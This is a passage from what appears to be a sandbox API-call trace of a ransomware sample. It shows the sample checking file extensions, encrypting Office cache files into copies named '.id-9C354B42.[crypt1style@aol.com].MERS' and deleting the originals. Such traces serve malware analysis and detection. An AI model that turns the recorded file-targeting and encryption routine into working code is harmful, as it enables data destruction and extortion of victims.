(lpString=".xlsx") returned 5 [0048.326] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0048.326] lstrlenW (lpString=".ppt") returned 4 [0048.326] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0048.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.326] lstrlenW (lpString=".zip") returned 4 [0048.326] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0048.326] lstrlenW (lpString=".rar") returned 4 [0048.326] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0048.326] lstrlenW (lpString=".bz2") returned 4 [0048.326] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0048.326] lstrlenW (lpString=".7z") returned 3 [0048.327] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0048.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.327] lstrlenW (lpString=".dbf") returned 4 [0048.327] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0048.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.327] lstrlenW (lpString=".1cd") returned 4 [0048.327] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0048.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.327] lstrlenW (lpString=".jpg") returned 4 [0048.327] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0048.327] lstrcmpiW (lpString1=".exe", lpString2=".MERS") returned -1 [0048.327] lstrlenW (lpString="ose.exe") returned 7 [0048.327] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.333] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=174440) returned 1 [0048.333] CloseHandle (hObject=0x1ec) returned 1 [0048.333] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0048.333] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.333] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.333] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.333] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.333] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0048.333] GetLastError () returned 0x0 [0048.333] ReadFile (in: hFile=0x1ec, lpBuffer=0x3510020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesRead=0x2a8fed4*=0x2a968, lpOverlapped=0x0) returned 1 [0048.403] WriteFile (in: hFile=0x1e4, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0048.408] ReadFile (in: hFile=0x1ec, lpBuffer=0x3510020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.408] WriteFile (in: hFile=0x1e4, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0048.408] SetEndOfFile (hFile=0x1e4) returned 1 [0048.408] CloseHandle (hObject=0x1e4) returned 1 [0048.409] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.409] SetEndOfFile (hFile=0x1ec) returned 1 [0048.410] CloseHandle (hObject=0x1ec) returned 1 [0048.411] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0048.411] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0048.411] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.411] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.411] lstrlenW (lpString=".doc") returned 4 [0048.411] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0048.411] lstrlenW (lpString=".docx") returned 5 [0048.411] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0048.411] lstrlenW (lpString=".pdf") returned 4 [0048.411] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0048.411] lstrlenW (lpString=".xls") returned 4 [0048.411] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0048.412] lstrlenW (lpString=".xlsx") returned 5 [0048.412] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0048.412] lstrlenW (lpString=".ppt") returned 4 [0048.412] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0048.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.412] lstrlenW (lpString=".zip") returned 4 [0048.412] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0048.412] lstrlenW (lpString=".rar") returned 4 [0048.412] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0048.412] lstrlenW (lpString=".bz2") returned 4 [0048.412] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0048.412] lstrlenW (lpString=".7z") returned 3 [0048.412] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0048.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.412] lstrlenW (lpString=".dbf") returned 4 [0048.412] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0048.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.412] lstrlenW (lpString=".1cd") returned 4 [0048.412] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0048.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.412] lstrlenW (lpString=".jpg") returned 4 [0048.412] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0048.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.412] lstrlenW (lpString=".doc") returned 4 [0048.412] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0048.412] lstrlenW (lpString=".docx") returned 5 [0048.412] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0048.413] lstrlenW (lpString=".pdf") returned 4 [0048.413] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0048.413] lstrlenW (lpString=".xls") returned 4 [0048.413] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0048.413] lstrlenW (lpString=".xlsx") returned 5 [0048.413] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0048.413] lstrlenW (lpString=".ppt") returned 4 [0048.413] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0048.413] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.413] lstrlenW (lpString=".zip") returned 4 [0048.413] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0048.413] lstrlenW (lpString=".rar") returned 4 [0048.413] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0048.413] lstrlenW (lpString=".bz2") returned 4 [0048.413] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0048.413] lstrlenW (lpString=".7z") returned 3 [0048.413] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0048.413] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.413] lstrlenW (lpString=".dbf") returned 4 [0048.413] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0048.413] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.413] lstrlenW (lpString=".1cd") returned 4 [0048.413] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0048.413] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.413] lstrlenW (lpString=".jpg") returned 4 [0048.413] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0048.413] lstrcmpiW (lpString1=".dll", lpString2=".MERS") returned -1 [0048.414] lstrlenW (lpString="osetup.dll") returned 10 [0048.414] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.414] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=7378792) returned 1 [0048.414] CloseHandle (hObject=0x1ec) returned 1 [0048.414] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0048.414] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.414] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0048.415] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.415] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc6c | out: lpNewFilePointer=0x0) returned 1 [0048.415] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.415] ReadFile (in: hFile=0x1ec, lpBuffer=0x3510058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3510058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.453] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.453] ReadFile (in: hFile=0x1ec, lpBuffer=0x3550058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3550058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.480] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0048.480] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.480] ReadFile (in: hFile=0x1ec, lpBuffer=0x3590058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3590058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.606] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.606] WriteFile (in: hFile=0x1ec, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2a8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0048.630] SetEndOfFile (hFile=0x1ec) returned 1 [0048.630] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x43a0048 [0048.630] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.630] WriteFile (in: hFile=0x1ec, lpBuffer=0x43a0048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x43a0048*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.632] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.632] WriteFile (in: hFile=0x1ec, lpBuffer=0x43a0048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x43a0048*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.634] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.634] WriteFile (in: hFile=0x1ec, lpBuffer=0x43a0048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x43a0048*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.635] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x43a0048 | out: hHeap=0x5f0000) returned 1 [0048.635] CloseHandle (hObject=0x1ec) returned 1 [0048.658] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0048.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.660] lstrlenW (lpString=".doc") returned 4 [0048.660] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0048.660] lstrlenW (lpString=".docx") returned 5 [0048.660] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0048.660] lstrlenW (lpString=".pdf") returned 4 [0048.660] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0048.660] lstrlenW (lpString=".xls") returned 4 [0048.660] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0048.660] lstrlenW (lpString=".xlsx") returned 5 [0048.660] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0048.660] lstrlenW (lpString=".ppt") returned 4 [0048.660] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0048.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.660] lstrlenW (lpString=".zip") returned 4 [0048.660] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0048.660] lstrlenW (lpString=".rar") returned 4 [0048.660] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0048.660] lstrlenW (lpString=".bz2") returned 4 [0048.660] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0048.660] lstrlenW (lpString=".7z") returned 3 [0048.660] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0048.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.661] lstrlenW (lpString=".dbf") returned 4 [0048.661] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0048.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.661] lstrlenW (lpString=".1cd") returned 4 [0048.661] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0048.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.661] lstrlenW (lpString=".jpg") returned 4 [0048.661] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0048.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.661] lstrlenW (lpString=".doc") returned 4 [0048.661] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0048.661] lstrlenW (lpString=".docx") returned 5 [0048.661] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0048.661] lstrlenW (lpString=".pdf") returned 4 [0048.661] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0048.661] lstrlenW (lpString=".xls") returned 4 [0048.661] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0048.661] lstrlenW (lpString=".xlsx") returned 5 [0048.661] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0048.661] lstrlenW (lpString=".ppt") returned 4 [0048.661] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0048.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.661] lstrlenW (lpString=".zip") returned 4 [0048.661] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0048.661] lstrlenW (lpString=".rar") returned 4 [0048.661] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0048.661] lstrlenW (lpString=".bz2") returned 4 [0048.661] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0048.661] lstrlenW (lpString=".7z") returned 3 [0048.661] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0048.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.661] lstrlenW (lpString=".dbf") returned 4 [0048.661] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0048.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.661] lstrlenW (lpString=".1cd") returned 4 [0048.662] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0048.662] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.662] lstrlenW (lpString=".jpg") returned 4 [0048.662] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0048.662] lstrcmpiW (lpString1=".dll", lpString2=".MERS") returned -1 [0048.662] lstrlenW (lpString="PidGenX.dll") returned 11 [0048.662] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.662] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=1463568) returned 1 [0048.662] CloseHandle (hObject=0x1ec) returned 1 [0048.662] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0048.662] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.662] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.662] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.663] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.663] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0048.663] GetLastError () returned 0x0 [0048.663] ReadFile (in: hFile=0x1ec, lpBuffer=0x3510020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesRead=0x2a8fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0049.326] WriteFile (in: hFile=0x224, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0049.352] ReadFile (in: hFile=0x1ec, lpBuffer=0x3510020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesRead=0x2a8fed4*=0x65520, lpOverlapped=0x0) returned 1 [0049.484] WriteFile (in: hFile=0x224, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x65530, lpOverlapped=0x0) returned 1 [0049.496] ReadFile (in: hFile=0x1ec, lpBuffer=0x3510020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.496] WriteFile (in: hFile=0x224, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.496] SetEndOfFile (hFile=0x224) returned 1 [0049.496] CloseHandle (hObject=0x224) returned 1 [0049.496] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.496] SetEndOfFile (hFile=0x1ec) returned 1 [0049.501] CloseHandle (hObject=0x1ec) returned 1 [0049.501] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0049.501] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0049.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.502] lstrlenW (lpString=".doc") returned 4 [0049.502] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0049.502] lstrlenW (lpString=".docx") returned 5 [0049.502] 